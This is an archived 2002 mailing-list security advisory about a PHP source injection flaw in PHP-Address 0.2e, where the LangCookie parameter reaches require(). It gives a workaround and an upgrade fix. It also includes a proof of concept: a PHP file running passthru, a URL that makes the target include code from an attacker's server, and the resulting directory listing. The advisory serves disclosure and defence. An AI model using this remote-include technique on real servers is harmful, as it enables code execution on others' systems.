

[UNIX] PHP Source Injection in PHP-Address

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0072.html>

From: support@securiteam.com

Date: 06/18/02

From: support@securiteam.com

To: list@securiteam.com

Date: Tue, 18 Jun 2002 20:01:06 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> - Know that you're safe.

PHP Source Injection in PHP-Address

SUMMARY

<<http://phpaddress.huebsch-gemacht.de/>> PHP-Address is a collection of PHP3-Scripts (works on PHP4 too) for maintaining a small web-based address database. A security vulnerability in the product allows attackers to include malicious PHP code into existing PHP pages, causing their execution, and the compromising of the remote computer.

DETAILS

Vulnerable systems:

* PHP-Address version 0.2e

Immune systems:

* PHP-Address version 0.2f

Workaround:

Change the global.php3 file so it looks like this:

```
<?php
```

```
# (c) Copyright in 2000, 2001 by Chris Huebsch
```

```
(chu@informatik.tu-chemnitz.de)
```

```
$LangCookie = ""; // THIS LINE
```

```
if ($LangCookie)
```

```
    require("$LangCookie.php3"); // Line 5
```

Securiteam: [UNIX] PHP Source Injection in PHP-Address

..

Solution:

Download the latest version from the product's web site.

Example:

Create the following file:

```
-----x.php3-----  
<?  
  passthru("/bin/ls /");  
>
```

Then by requesting the following URL:

<http://SERVER/globals.php3?LangCookie=http://MYSERVER/x>

The following output will be returned:

```
bin boot dev etc home initrd lib lost+found mnt opt proc root sbin swap  
tmp usr var
```

ADDITIONAL INFORMATION

The information has been provided by

<mailto:tim.vandermeersch@pandora.be> tim vandermeersch.

=====
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- **Previous message:** support@securiteam.com: "[UNIX] PHP Source Injection in osCommerce"
- **Messages sorted by:** [\[date \] \[thread \] \[subject \] \[author \] \[attachment \]](#)